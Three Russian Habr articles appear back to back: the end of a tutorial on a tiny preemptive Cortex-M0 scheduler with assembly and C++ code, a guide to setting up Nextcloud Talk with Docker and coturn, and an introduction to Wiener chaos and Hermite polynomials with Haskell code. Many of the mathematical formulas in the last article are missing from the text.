На последнем пункте давайте остановимся поподробнее, потому что легко сказать, да как это сделать...
Вызов планировщика
------------------
Нам нужно вызвать планировщик из исключения *PendSV*, так чтобы он запустился в режиме *Thread*, но чтобы попасть в этот режим нужно выйти из *PendSV*.
Как вы помните при входе в исключение, микроконтроллер сохранил кадр исключения текущей задачи на стеке.
А если указатель стека так и останется на вершине этого кадра, то при вызове планировщика, т.е. выходе из прерывания, этот кадр пропадет, так как при выходе из исключения сделается unstacking.
Значит нам надо сделать так, чтобы, при вызове планировщика мы работали с другим кадром, не испортив при этом кадр вытесненной задачи. Т.е. к текущему указателю стека нужно добавить (а поскольку стек растет в сторону уменьшения адресов, то убавить) стек на размер еще одного такого же кадра, но с данными для вызова Планировщика.
И в этом кадре в *PC* мы положим адрес планировщика, в *LR* адрес возврата после работы планировщика, а в xPSR надо поставим 1 в бит *T*, который говорит о том, что мы работает с набором команд *Thumb*, а то выйдет исключение по ошибке выполнения инструкций.
Вот так мы руками поменяем наш стек в обработчике исключения *PendSV* для вызова планировщика:
Возврат из планировщика
-----------------------
Как только планировщик выполнил свою работу, нам нужно вернуться куда-то, где надо будет разрешить прерывания, а также сделать, что-то, что позволит вернуться к текущей прерванной задаче. Т.е. мы опять должны будем сгенерировать какое-то исключение, и в нем удалить тот кадр исключения, что мы добавили в предыдущем пункте. И уже при выходе из исключения, у нас сделается правильный unstacking с переходом на прерванную задачу.
Для лучшего понимания, я нарисовал целую картину, могут быть ошибки, но честно старался и в общем-то посыл передал верно.
* Вначале работает *SomeTask*
* Какое-то прерывание посылает *HighPriorityTask* задаче событие и вызывает *PendSV*
* Начинается стадия входа в исключение, выполняется stacking, формируется кадр исключения и сохраняется на *MSP* стеке
* Запускается обработчик исключения *PendSV*
* В нем мы добавляем к стеку еще один рукотворно-созданный кадр исключения, куда записываем адрес адрес планировщика, адрес возврата после работы планировщика и набор команд *Thumb*
* Выходим из исключения, выполняем стадию unstacking, в которой микроконтроллер вытаскивает наши подменные *PC*, *LR* и *xPSR*, и в соответствии с ними переходит на планировщик.
* Планировщик делает свою работу уже в режиме *Thread* — ищет новую высокоприоритетную задачу, и если нашел — просто запускает ее, также в режиме *Thread*, она тоже может вытесниться еще более высокоприоритетной.
* Выполняется высокоприоритетная задача
* По завершению возвращается в планировщик
* А планировщик возвращается в место, где вместе с разрешением прерываний атомарно генерируется *SVC* исключение
* И снова начинается процесс входа в исключение *SVC*
* В обработчике исключения SVC мы убираем со стека тот фиктивный кадр исключения, что добавили в *PendSV* и оставляем только кадр от вытесненной задачи
* Выходим из *SVC*, выполняем unstacking и попадаем обратно в вытесненную задачу
Опа и все должно работать… Теперь тоже самое на ~~lisp~~ (не нашел, как вставить код на ассемблере, чтобы он корректно отображался, и были видны комментарии, поэтому вставил разметку как на lisp) ассемблере.
```
RSEG CODE:CODE:NOROOT(2)
PUBLIC HandlePendSv
PUBLIC HandleSvc
EXTERN Schedule
; Исключение выполняется в Handle режим, но планировщик должен запускаться в
; Thread режиме. Этот обработчик резервирует кадр исключения и переключается в
; Thread режим через этап выхода из исключения для перехода в Schedule функцию
HandlePendSv:
; Очищаем бит запроса на PendSv, путем установки PendSvClr бита(#27) в ICSR регистре
; Адрес ICSR(Interrupt Control and State Register) регистра 0xE000ED04
LDR r3,=0xE000ED04
LDR r1,=1<<27
; Запрещаем все прерывания
CPSID i
; Собственно устанавливаем бит PendSvClr
STR r1,[r3]
; Когда мы вернемся из прерывания XPSR должен стоять T - bit(1 << 24), говорящий
; о том, что у нас Thumb набор команд, а то если он не будет стоять, исполнение
; команд накроется медным тазом.
LDR r3,=1<<24
; Когда мы вернемся из прерывания, мы должны попасть в Schedule, поэтому в PC должен
; быть записан адрес функции Schedule и он должен быть четным
LDR r2,=Schedule - 1
; А завершив функцию Schedule мы должны вернуться по адресу ScheduleReturn
; Запишем этот адрес в LR
LDR r1,=ScheduleReturn
; Теперь резервируем место под кадр исключения для выхода из исключения
SUB sp,sp,#8*4
ADD r0,sp,#5*4 ; и перемещаемся в место для сохранения XPSR, PC, LR
; И сохраняем в него новые XPSR, PC, LR ( r3- xPSR, R2 - PC, r1-LR)
STM r0!,{r1-r3}
; r0 = 0xFFFFFFF9 - Thread режим и используем MSP стек
LDR r0,=0xFFFFFFF9
; Выходим из исключения со значением 0xFFFFFFF9 и попадаем после этого в Schedule
BX r0
; Возвращаемся сюдя из функции Schedule, разрешаем прерывание и
; и вызываем исключение SVC, чтобы вернуться в вытесненную задачу
ScheduleReturn:
CPSIE i
; SVC будет выполнен вместе с CPSIE, так как Cortext M0 имеет двухстадийный конвейер.
; Между командой разрешения прерывания и генерации SVC чисто теоретически может
; вклиниться еще прерывание, но у нас двух-стадийный конвейер и поэтому обе команды
; уже в нем, ничто не может прерывать вызов SVC, ребята с Quantum Leaps используют тут
; генерацию NMI, чтобы сделать запрос на исключение NMI перед разрешением прерываний
SVC #0
; Собственно после запроса на SVC исключение попадаем сюда
HandleSvc:
; Удаляем кадр исключения который мы добавили в PendSV,
; нам нужно оставить только кадр исключения от вытесненной задачи
ADD sp,sp,#(8*4)
; Возвращаемся в вытесненную задачу
BX lr
END
```
Планировщик
-----------
Ну а теперь посмотрим, как устроен Ооочень простой планировщик. Чтобы показать насколько он простой — сразу покажу картинку, она много прояснит: Всего 4 публичных метода, остальное скрыто от пользователя от греха подальше.
Как вы понимаете, вся суть тут заложена в методе *Schedule()* и он должен быть экстремально простым. Поэтому мы сделаем так, чтобы приоритет задачи определялся её положением в списке задач. Ну т. е., чтобы если мы задали бы задачи так:
```
struct myTasker: Tasker {} ;
```
То это бы означало, что приоритет HighPriorityTask — самый высокий, а idleTask — самый низкий. Это нам решит кучу проблем с сортировкой списка задач. Задачи всегда расположены в порядке уменьшения приоритета.
Тогда наш планировщик будет совсем-совсем простым.
```
static void Schedule()
{
const auto preemptedTaskId = activeTaskId; // сохраним номер текущей задачи
auto nextTaskId = GetFirstActiveTaskId(); // получить номер первой активной задачи
// Если номер задачи меньше номера текущей задачи,
// то у неё выше приоритет и её надо запустить
while (nextTaskId < activeTaskId)
{
activeTaskId = nextTaskId;
CallTask(nextTaskId); // вызываем задачу и сбрасываем установленное событие
nextTaskId = GetFirstActiveTaskId(); // вдруг есть еще активные задачи
}
activeTaskId = preemptedTaskId; //восстановим номер текущей задачи
}
```
Функция запуска задачи тоже проста как пять копеек:
```
__forceinline template
static void CallTaskHelper()
{
task.events = noEvents; // скидываем событие
\_\_enable\_interrupt() ; // разрешаем прерывание, чтобы задачу можно было вытеснить
task.OnEvent(); // запускаем задачу
\_\_disable\_interrupt() ; // запрещаем снова прерывание
}
```
Как видно, задача должна реализовывать метод OnEvent().
И да, мы же не хотели использовать указатели, поэтому задачи передаем через ссылки, как параметр шаблона.
```
template
class Tasker
{
...
}
```
И очень просто пробегаемся по этому списку, например, чтобы найти первую (самую высокоприоритетную) активную задачу:
```
static constexpr size_t GetFirstActiveTaskId()
{
return GetFirstActiveTask(0U);
}
\_\_forceinline template
static constexpr size\_t GetFirstActiveTask(size\_t result)
{
if constexpr (sizeof...(args) != 0U)
{
if (task.events != noEvents)
{
return result;
}
else
{
auto res = result + 1 ;
return GetFirstActiveTask(res);
}
}
else
{
if (task.events != noEvents)
{
return result;
} else
{
return sizeof...(tasks); // возвращаем несуществующую задачу.
}
}
}
```
Заметьте, никаких массивов указателей на задачи, а поэтому не существует даже теоретической возможности на выход за пределы массива
Собственно и запускаем на исполнение по такому же принципу:
```
static void CallTask(size_t id)
{
return CallTaskById(id, 0U);
}
\_\_forceinline template
static void CallTaskById(size\_t id, size\_t result)
{
if constexpr (sizeof...(args) != 0U)
{
if (result == id)
{
CallTaskHelper() ;
}
else
{
auto res = result + 1 ;
CallTaskById(id, res);
}
}
else
{
if (result == id)
{
CallTaskHelper() ;
}
else
{
//если не нашли задачу, то ничего и не вызываем, но можно например уйти в спячку
}
}
}
```
Чтобы задача активировалась ей надо просигналить, ну например, случился таймаут канального уровня у какого-нибудь протокола (в Modbus RTU аж два таймера на 3,5 символа и 1,5 символ) и надо обработать событие по приему сообщения — да ради бога — посылаем из таймера задаче, обработчику приема сообщения, событие.
```
//сделаем возможность посылать событие сразу нескольким задачам
template
static void PostEvent(const tStateEvents events)
{
const CriticalSection cs;
(targetTasks.events |= events, ...);
if (scheduleLockedCounter == 0U)
{
Schedule();
}
}
```
Выше я уже указывал, что нельзя просто так взять и запустить планировщик из прерывания, нужно из этого прерывания как-то выйти вначале, а потом уже запустить — и это мы делаем путем вызова *PendSV*.
```
__forceinline static void IsrEntry()
{
assert(scheduleLockedCounter != 255U);
++scheduleLockedCounter;
}
__forceinline static void IsrExit()
{
assert(scheduleLockedCounter != 0U);
--scheduleLockedCounter;
SCB::ICSR::PENDSVSET::PendingState::Set();
}
```
В примере я сделал события от таймеров, которые построил на основе системного таймера. Обработчик прерывания системного таймера показан ниже:
```
template
struct TaskerTimerService
{
static void OnSystemTick()
{
Tasker::IsrEntry() ;
(Timers::OnTick(), ...) ;
Tasker::IsrExit() ;
}
} ;
```
А таймеры просто постят события
```
template
class TaskerTimer {
public:
static void OnTick()
{
--ticksRemain ;
if (ticksRemain == 0U)
{
ticksRemain = ticksReload ;
Tasker::template PostEvent(eventsToPost) ;
}
}
...
}
```
Задачи
------
Задачи должны наследоваться от *TaskBase*. В него я запихнул атрибут событие, чтобы у каждой задачи был такой атрибут, но так как он статический, то чтобы этот атрибут был разный для каждой задачи, применил странно-рекурсивный шаблон.
В коде это будет так:
```
struct TargetThread: public TaskBase
{
}
```
Также я сделал ~~3~~, нет 4 задачи, 3 из которых моргают светодиодами, а одна ничем не моргает, хотя должна, но её все время вытесняют .
**Задачи**
```
struct TargetThread: public TaskBase
{
void OnEvent() const
{
// Когда кто-то нам просигналил, мы переключим светодиод.
GPIOC::ODR::Toggle(1<<8); // светодиод PortC.8
}
};
template
struct Thread1 : public TaskBase>
{
void OnEvent() const
{
GPIOC::ODR::Toggle(1<<9); //светодиод PortC.9
SimpleTasker::PostEvent(1); // Посылаем сигнал какой-то другой задаче
}
};
template
struct Thread2 : public TaskBase>
{
void OnEvent() const
{
GPIOC::ODR::Toggle(1<<5); // светодиод PortC.5
for (int i = 0; i < 4000000; ++i) // имитация бурной деятельности
{
};
SimpleTasker::PostEvent(1); // Посылаем сигнал какой-то другой задаче
test ++ ;
}
private:
inline static int test ;
};
class myTasker;
inline constexpr TargetThread targetThread;
// Задаем, что сигналить хотим targetThread
inline constexpr Thread1 myThread1;
inline constexpr Thread2 myThread2;
```
Задачи сами просто так не запустятся, нужно, чтобы кто-то им запостил событие, а такими сущностями в моем примере являются таймеры. Их надо настроить для каждой задачи индивидуально.
```
//Для myThread1, пусть таймер будет на 1001 мс
using MyThread1Timer = TaskerTimer;
//Для myThread1, пусть таймер будет ровно на 1000 мс
using MyThread2Timer = TaskerTimer;
//Для idleTask, пусть таймер будет ровно на 100 мс, но она будет постоянно вытесняться
using IdleTimer = TaskerTimer;
using tRtosTimerService = TaskerTimerService;
```
Ну и все запускаем...
.
Все лежит в Github [Исходный код](https://github.com/lamer0k/CortexLib/tree/master/rtos). Можно просто папку открыть в Clion.
А тут можно посмотреть [Полный код с примером под IAR 8.40.2](https://yadi.sk/d/47LQqI1LDTcPmw)
Заключение
==========
4 задачи моргания светодиодом + сам планировщик занимает 564 байт кода + 14 байт константных данных и 17 байт ОЗУ без оптимизации.
| Module | ro code | ro data | rw data |
| --- | --- | --- | --- |
| taskerschedule.cpp | 508 | 14 | 17 |
| interrupthandlers.s | 56 | 0 | 0 |
При включенной оптимизации размер кода уменьшается на 120 байт.
| Module | ro code | ro data | rw data |
| --- | --- | --- | --- |
| taskerschedule.cpp | 388 | 11 | 17 |
| interrupthandlers.s | 56 | 0 | 0 |
Ресурсы:
[Build a Super Simple Tasker](https://www.embedded.com/build-a-super-simple-tasker/)
[ARMv6-M Architecture Reference Manual](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0419c/index.html)
[QuantumLeaps/qpc](https://github.com/QuantumLeaps/qpc/blob/master/ports/arm-cm/qk/iar/qk_port.c)
[QuantumLeaps/Preemption Scenarios in QK on ARM Cortex-M](https://www.state-machine.com/qpc/arm-cm_qk.html)
[Multitasking on Cortex-M(0)class MCU](https://archive.fosdem.org/2018/schedule/event/multitasking_on_cortexm/attachments/slides/2602/export/events/attachments/multitasking_on_cortexm/slides/2602/Slides.pdf)
[Cortex-M0 Technical Reference Manual](https://developer.arm.com/docs/ddi0432/c/system-control/system-control-register-summary)
[Планировщик задач для ARM Cortex-M3: пример реализации](https://www.kit-e.ru/assets/files/pdf/2013_04_168.pdf) | https://habr.com/ru/post/506414/ | null | ru | null |
# Nextcloud Talk
Talk — это расширение платформы Nextcloud, позволяет совершать защищенные аудио и видеозвонки, а также обмениваться текстовыми сообщениями через веб-интерфейс или мобильное приложение Nextcloud Talk. Для связи собеседников используется WebRTC, а для защиты передаваемой информации — end-to-end шифрование. Все компоненты Nextcloud Talk открыты.
Посты о Nextcloud на Хабре можно пересчитать по пальцам, и в них нет ни слова о Nextcloud Talk, поэтому я решил заполнить этот пробел. Под катом расскажу, как узнал о Nextcloud, Spreed.ME, Spreed и Talk, как тестировал Talk и с какими проблемами столкнулся при установке и настройке Talk.
### Как я узнал о Nextcloud
В 2013 году, два друга, Женя и Максим, купили в складчину неттоп и запустили домашнее хранилище на ownCloud. В то время Dropbox предлагал 500 Гбайт дискового пространства за $500 в год, неттоп с точно таким-же объемом диска хоть стоил немного дороже, но приватное хранилище казалось экономически выгоднее и просто интереснее, чем Dropbox Pro. Женя и Максим создали аккаунты для друзей и знакомых. Поначалу я не пользовался этим аккаунтом, но позже проникся идеей приватного хранилища и начал шарить фотоальбомы, да и к тому же всё работало без сбоев. В 2016 году Фрэнк Карлитчек (Frank Karlitschek), основатель ownCloud, покинул проект и создал форк под названием Nextcloud. Женя предположил, что ownCloud ждет стагнация и перенес наше хранилище с ownCloud на Nextcloud. Все файлы при этом остались на месте, а я просто поставил мобильный клиент Nextcloud на смартфон и стал пользоваться Nextcloud.
### Что предшествовало Nextcloud Talk
С самого начала в Nextcloud App Store было доступно расширение Spreed.ME, от одноименной команды разработчиков. С помощью этого расширения можно было создать видеоконференцию внутри Nextcloud прямо в браузере, но, к сожалению, не было мобильных приложений для Android и iOS, а ещё для Spreed.ME требовалась установка дополнительного ПО — Spreed WebRTC server. Немного позже разработчики Nextcloud опубликовали в Nextcloud App Store расширение для видеозвонков под названием Spreed. Spreed было лучше интегрировано в Nextcloud, не требовало установки Spreed WebRTC server, но уступало Spreed.ME по функционалу.
В начале 2018 года, разработчики Nextcloud объявили о полной переработке Spreed и опубликовали мобильное приложение Nextcloud Talk в Google Play Store и Apple App Store. Расширение Spreed переименовали в Talk, но при этом идентификатор приложения в Nextcloud App Store остался прежним — Spreed, чтобы облегчить нам миграцию с Nextcloud 12 на 13. В Talk есть групповой текстовый чат, голосовые и видеозвонки с шарингом экрана. Мобильные приложения Nextcloud Talk для Android и iOS пока уступают веб-версии, но реализовано самое нужное — звонки со смартфона на смартфон.
### Как я тестировал Nextcloud Talk
Хотелось поскорее опробовать Nextcloud Talk, и не дожидаясь официального релиза Nextcloud 13, Женя обновил Nextcloud до 13.0.0 RC 1 на неттопе. После этого мы установили Nextcloud Talk на смартфоны и созвонились. Соединение прошло, но не было ни звука, ни видео; мы видели только чёрный экран. Я связался с разработчиком приложения для Android по имени Марио (Mario Đanić), и он объяснил, что для общения через Интернет нам не хватает TURN-сервера.
Nextcloud Talk использует WebRTC (peer-to-peer) для организации канала связи между двумя устройствами, и так как у наших смартфонов нет белых IP-адресов, то установка соединения затруднена. В качестве TURN-сервера решили использовать coturn, быстро развернули на неттопе и указали белый IP-адрес неттопа в настройках Talk, в админке Nextcloud. После этого появилось видео и звук, но первое время мы не замечали отсутствие всплывающих уведомлений при звонке. Уведомления появились после установки и активации расширения Notifications в Nextcloud.
### Nextcloud Talk: мобильное приложение и веб-интерфейс
В мобильном приложении Nextcloud Talk, на момент написания статьи, реализованы только видеозвонки и список контактов. Мой список контактов в приложении подгружается с сервера Nextcloud на неттопе.
В веб-версии возможностей больше, например, я могу пригласить в конференцию собеседника, у которого нет аккаунта в нашем облачном хранилище. В веб-версии есть чат, но, к сожалению, без смайликов и стикеров.
В будущем, разработчики Nextcloud Talk планируют добавить к чату XMPP совместимое API, чтобы сторонние приложения, поддерживающие протокол XMPP, могли общаться через Nextcloud Talk сервер. Скорее всего, чат появится в мобильном приложении Nexcloud Talk 2.0, но пока неизвестно, когда выйдет 2.0.
### Установка Nextcloud 13 и Talk
Сейчас на неттопе запущен Docker-контейнер с Nextcloud 13, а все исходники, необходимые для сборки контейнера, мы [опубликовали на GitHub](https://github.com/tolstoyevsky/mmb/tree/master/nextcloud). Это была идея Жени, он собрал Docker-файлы от различных веб-сервисов, которыми мы пользуемся, добавил скрипт, который собирает контейнеры и назвал это всё «Mr. Meeseeks Box» (сокращённо mbb). Если хотите по-быстрому развернуть у себя Nextcloud Talk и пощупать всё это своими руками, но не очень хорошо разбираетесь в Docker, то вам понравится mmb.
Итак, Для начала поставьте Git, Docker и Docker Compose:
```
sudo apt-get update
sudo apt-get install git, docker, docker-compose
```
Затем клонируйте репозиторий mmb:
```
git clone https://github.com/tolstoyevsky/mmb.git
cd mmb
```
Соберите два контейнера MariaDB и Nextcloud выполнив следующие команды:
```
sudo ./mmb.sh mariadb amd64
sudo ./mmb.sh nextcloud amd64
```
*Если вы проделываете это на Raspberry Pi, или любом другом устройстве с ARM-процессором, то замените amd64 на armhf.*
Теперь запустите оба контейнера, но перед этим убедитесь, что порт 3306 не занят:
```
cd mariadb
docker-compose up -d
cd ../nextcloud
docker-compose up -d
```
Откройте в браузере http://[ваш ip-адрес]:8001/nc, и если увидите страницу создания учетной записи администратора, то вы всё сделали правильно. Задайте логин и пароль администратора, затем перейдите в панель управления, и в правом верхнем углу нажмите Настройки → Приложения. В длинном списке приложений найдите Talk и активируйте. Теперь создайте ещё один аккаунт в Nextcloud и попробуйте созвониться через браузер либо через мобильное приложение внутри локальной сети.
Если есть белый IP-адрес, то можете пробросить 8001 порт наружу, чтобы созвониться через интернет, но тогда понадобится поднять TURN-сервер. Это можно сделать с помощью mmb, собрав и запустив контейнер с coturn:
```
cd ..
sudo ./mmb.sh coturn amd64
cd ../coturn
docker-compose up -d
```
*Если вы проделываете это на Raspberry Pi, или любом другом устройстве с ARM-процессором, то замените amd64 на armhf.*
После того, как поднимите TURN-сервер, откройте админку Nextcloud, в меню слева выберите «Разговор» (Talk), впишите свой белый IP-адрес в поле «сервер TURN», а в поле для секрейтной фразы впишите «secret». Если хотите использовать другую секретную фразу, то загляните в файл mmb/coturn/docker-compose.yml, измените значение переменной AUTH\_SECRET и перезапустите контейнер с coturn:
```
cd ../coturn
docker-compose stop
docker-compose rm
docker-compose up -d
```
После этого можете создать в своём Nextcloud аккаунты для друзей, поставить приложение Nextcloud Talk на смартфон и звонить друг другу. | https://habr.com/ru/post/349556/ | null | ru | null |
# Винеровский хаос или Еще один способ подбросить монетку
Теория вероятности никогда не переставала меня удивлять, начиная ещё с того момента, как я впервые с ней столкнулся, и до сих пор. В разное время в разной степени меня настигали, назовём их «вау-эффекты», шоковые удары в мозжечок, от которых меня накрывало эффектом третьего ока, и мир навсегда переставал быть прежним.
* Первый «вау-эффект» я испытал от Центральной предельной теоремы. Берем кучу случайных величин, устремляем их количество в бесконечность и получаем нормальное распределение. И совсем неважно как распределены эти величины, неважно, будь это подбрасывания монетки или капли дождя на стекле, вспышки на Солнце или остатки кофейной гущи, результат будет всегда один — их сумма всегда стремится к нормальности. Разве что, нужно потребовать их независимость и существование дисперсии (позднее я узнал, что существует теорема и для экстремальных тяжелохвостых распределений с бесконечной дисперсией). Тогда этот парадокс долго не давал мне заснуть.
* В какой-то момент учебы в университете такие предметы как дискретная математика и функциональный анализ слились вместе и всплыли в теорвере под видом выражения «почти наверное». Стандартный пример: вы случайно выбираете число от 0 до 1. С какой вероятностью вы ткнёте в рациональное число (привет, функция Дирихле)? Спойлер: 0. Ноль, Карл! Бесконечное множество не имеет никакой силы, если оно счетно. У вас бесконечное число вариантов, но вы не выберете ни один из них. Вы не выберете 0, или 1, или 1/2, или 1/4. Вы и не выберете 3/2.
Да-да, что выбрать 1/2, что выбрать 3/2, вероятность нулевая. Вот только в 3/2 вы не ткнёте точно, таковы условия, а в 1/2 вы не попадёте ну… «почти наверное». Концепция «почти всюду»/«почти наверное» забавляет математика, а обывателя заставляет крутить пальцем у виска. Многие ломают себе мозг в попытке классифицировать нули, но результат того стоит.
* Третий по счёту, но не по силе, «вау-эффект» настиг уже на переходе в advanced level
— при чтении книг по стохастическим исчислениям. Причиной тому стала лемма Ито. Со времён школьной скамьи, когда нашим девственным глазам впервые показали производную, мы нисколько не сомневались в правильности вот такой вот формулы: 
И она верна. Вот только, если  — это не случайный процесс. Адовая смесь из свойств нормального распределения и «почти наверное» доказывает, что в обратной ситуации эта формула в общем случае неверна. Томик мат.анализа с решениями обыкновенных дифференциальных уравнений теперь можно выкинуть в топку. Люди в теме тихо хихикают, остальные нетерпеливо листают статьи в Вики с исчислениями Ито.
Но совсем недавно я испытал и четвёртый, так называемый, «вау-эффект». Это не какой-то отдельно взятый факт, а целая теория, которую я собираюсь поведать в серии из нескольких статей. И если предыдущие финты теории вероятности вас уже не удивляют, то прошу милости под кат (знаю, вы и так уже здесь).
Полиномы Эрмита
---------------
Начнем с обыкновенной алгебры — определим «вероятностные» (они немного отличаются от «физических») ***полиномы Эрмита***: 
Значения первых полиномов: 
Полиномы Эрмита обладают следующими свойствами:
* 
* 
* 
Последнее соотношение поможет нам в вычислении -ых полиномов Эрмита для заданного . Программироваться мы будем на Haskell, ибо он позволяет математикам выражаться на привычном им языке — Haskell чист, строг и прекрасен как сама математика.
```
-- | 'hermite' is an infinite list of Hermite polynomials for given x
hermite :: (Enum a, Num a) => a -> [a]
hermite x = s
where s@(_:ts) = 1 : x : zipWith3 (\hn2 hn1 n1 -> x * hn1 - n1 * hn2) s ts [1..]
```
Функция ***hermite*** принимает на вход параметр , а на выходе даёт бесконечный лист из -ых полиномов для  Кто не знаком с концепцией ленивых вычислений, очень советую ознакомиться. Для тех же, кто эту концепцию знает, но ещё не до конца может в функциональное программирование: что здесь происходит? Представьте, что у нас уже есть бесконечный лист со всеми значениями Эрмитовых полиномов:
```
s = [1, x, x^2-1, x^3-3x, x^4-6x^2+3, ... ]
```
Хвост этого листа (без первого элемента):
```
ts = [x, x^2-1, x^3-3x, x^4-6x^2+3, ... ]
```
Вдогонку мы возьмем ещё лист с натуральными числами:
```
[1, 2, 3, ... ]
```
Функция zipWith3 комбинирует последние три листа, используя данный ему оператор:
```
x * [ x, x^2-1, x^3-3x, ... ]
- [ 1*1, 2*x, 3*(x^2-1), ... ]
= [x^2-1, x^3-3x, x^4-6x^2+3, ... ]
```
Добавляем впереди 1 и x, и получаем полный набор Эрмитовых полиномов. Иными словами, мы достали лист со значениями полиномов, используя лист с этими значениями, то есть, лист, который мы и пытаемся достать. Поговаривают, что полное осознание красоты и мощи ФП сродни умению заглянуть себе в ухо.
Проверим: первые 6 значений для :
```
Prelude> take 6 (hermite 1)
[1,1,0,-2,-2,6]
```
Что мы и ожидали увидеть.
Гильбертово пространство
------------------------
Двинемся немного в другую степь — вспомним определение пространства Гильберта. Говоря научным языком, это полное метрическое линейное пространство с заданным на нём скалярным произведением  На этом пространстве каждому элементу соответствует вещественное число, именуемое нормой и равное 
Ничего сверхъестественного. Когда я пытаюсь представить Гильбертово пространство, я начинаю от простого и постепенно прихожу к сложному.
1. Самый простой пример — это пространство вещественных чисел: . В таком случае скалярным произведением двух чисел  и  у нас будет 
2. Затем я перехожу в Эвклидово пространство . Теперь 
Это пространство можно расширить до пространства комплексных векторов: , для которого скалярное произведение будет 
(верхняя черта обозначает комплексное сопряжение).
3. Ну и наконец прихожу в пространство для взрослых, пространство с бесконечной размерностью. В нашем случае это будет пространство квадратично интегрируемых функций, заданных на некотором множестве  с заданной мерой . Мы будем его обозначать в виде . Скалярное произведение на нем задается следующим образом: 
Обычно под множеством  подразумевается интервал ![$[a,b]$](https://habrastorage.org/getpro/habr/formulas/58b/7f7/be8/58b7f7be8c846796f6af0f80072b3431.svg), а под мерой  — равномерная мера (мера Лебега), т.е. . И тогда скалярное произведение записывается в виде обыкновенного интеграла Лебега 
Если же мы думаем в терминах теории вероятностей, то  — это пространство элементарных событий,  и  — случайные величины, а  — вероятностная мера. У каждой такой меры есть своя функция плотности распределения , которая может быть отличной от константы, тогда  и скалярное произведение совпадает с математическим ожиданием: ![$\langle X, Y \rangle=\int_\Omega X(\omega) Y(\omega) \rho(\omega)d\omega = \mathbb{E}[XY].$](https://habrastorage.org/getpro/habr/formulas/785/bb1/280/785bb12802c753c17698203c5a300bba.svg)
Гауссовский процесс
-------------------
Настало время внести в наши размышления элемент случайности. Пусть у нас имеется гильбертово пространство . Тогда мы назовем  ***(изонормальным) Гауссовским процессом***, если
1. вектор из случайных величин  распределен нормально с нулевым мат.ожиданием для любых , и
2. для  ![$\mathbb{E}[W(h)\cdot W(g)] = \langle h, g \rangle.$](https://habrastorage.org/getpro/habr/formulas/b90/a55/fe8/b90a55fe8a95ebea3b85d3644c647242.svg)
По своей математической сути  — это отображение из одного гильбертова пространства в другое, из некоторого  в  — вероятностное пространство из случайных величин с конечной дисперсией, заданного триплетом  (множество элементарных событий),  (сигма-алгебра) и  (вероятностная мера). Несложно показать, что это отображение линейно: 
(в смысле равенства «почти наверное», привет «вау-эффект» #2)
*Пример.* Пусть , где  — равномерная мера (Лебега). Скалярное произведение на нём 
Пусть ![$h(s) = 1_{[0,t]}(s)$](https://habrastorage.org/getpro/habr/formulas/c34/fe7/698/c34fe7698d8fede9457c5c1fd8fe577e.svg) — единичная функция на интервале ![$[0,t]$](https://habrastorage.org/getpro/habr/formulas/9a9/a59/558/9a9a59558e4bbe90359d92a377011d54.svg). Тогда ![$\| h\|^2 = \int 1_{[0,t]}(s)ds = t$](https://habrastorage.org/getpro/habr/formulas/dd6/69a/408/dd669a40843e3a291701bf84a0628028.svg) и ![$B(t)=W(1_{[0,t]}) \sim \mathcal{N}(0,t)$](https://habrastorage.org/getpro/habr/formulas/456/329/89a/45632989a4322e5ef4c8ad74abbbe657.svg)
не что иное, как Броуновское движение (или Винеровский процесс). Более того, ![$\int_0^t f(s)dB(s) = W(1_{[0,t]} f)$](https://habrastorage.org/getpro/habr/formulas/53e/98f/897/53e98f8974d1bdd19d7cd5b2fc473c5a.svg)
называется интегралом Ито от функции  относительно .
Для того, чтобы реализовать Гауссовский процесс я воспользуюсь пакетами, которые благородные люди уже написали за нас.
```
import Data.Random.Distribution.Normal
import Numeric.LinearAlgebra.HMatrix as H
-- | 'gaussianProcess' samples from Gaussian process
gaussianProcess :: Seed -- random state
-> Int -- number of samples m
-> Int -- number of dimensions n
-> ((Int, Int) -> Double) -- function that maps indices of the matrix into dot products of its elements
-> [Vector Double] -- m n-th dimensional samples of Gaussian process
gaussianProcess seed m n dotProducts = toRows $ gaussianSample seed m mean cov_matrix
where mean = vector (replicate n 0)
cov_matrix = H.sym $ (n> dotProducts (quot i n, rem i n)) [0..]
```
Функция ***gaussianProcess*** принимает параметр ***seed*** (стандартная штука для генераторов), ***nSamples*** — размер выборки, ***dim*** — размерность вектора , ***dotProducts*** — функцию, принимающую на вход , индекс матрицы ковариации и возвращающую соответствующее этому индексу скалярное произведение . На выход ***gaussianProcess*** выдает ***nSamples*** векторов .
Уже подходит время объединить все полученные нами знания вместе. Но прежде, стоит упомянуть об одном полезном свойстве эрмитовых полиномов и нормального распределения в совокупности. Пусть  Тогда, используя разложение Тейлора, 
Возьмем  — две стандартные нормально распределенные случайные величины. Через производящую функцию нормального распределения мы можем вытащить следующее соотношение: ![$\mathbb{E}[F(s,X)\cdot F(t,Y)]=\exp(st\mathbb{E}[XY]).$](https://habrastorage.org/getpro/habr/formulas/dd6/7d7/96a/dd67d796a6e105710b3b9855ba3ee5ee.svg)
Берем -ую частную производную , приравниваем  по обе стороны уравнения сверху и получаем ![$\mathbb{E}[H_n(X) \cdot H_m(Y)] = \begin{cases} n!(\mathbb{E}[XY])^n, & n=m, \\ 0, & n \neq m. \end{cases}$](https://habrastorage.org/getpro/habr/formulas/83a/8cd/063/83a8cd06344a22b3cd28231f4019ce19.svg)
О чем это нам говорит? Во-первых, мы получили норму  для , а, во-вторых, мы теперь знаем, что разные эрмитовы полиномы от нормальных случайных величин ортогональны друг другу. Вот сейчас мы готовы к осознанию нечто большего.
Разложим пространство в хаос
----------------------------
Пусть  — ***n-й Винеровский хаос***. Тогда 
где  — сигма-алгебра, созданная .
Воу-воу, палехче! Давайте разложим эту теорему о разложении по кусочкам и переведём с математического на человеческий. Мы не будем сильно вдаваться в детали, а лишь интуитивно поясним о чем тут речь. Значок  обозначает ***линейную оболочку*** подмножества  гильбертова пространства  — пересечение всех подпространств , содержащих . Говоря проще, это множество всех линейных комбинаций элементов из . Черта сверху над  обозначает ***замыкание множества***. Если , то  называется ***полным множеством*** (грубо говоря, " плотно в "). Следовательно,  — замыкание линейной оболочки полиномов Эрмита от Гауссовского процесса на единичной гиперсфере.
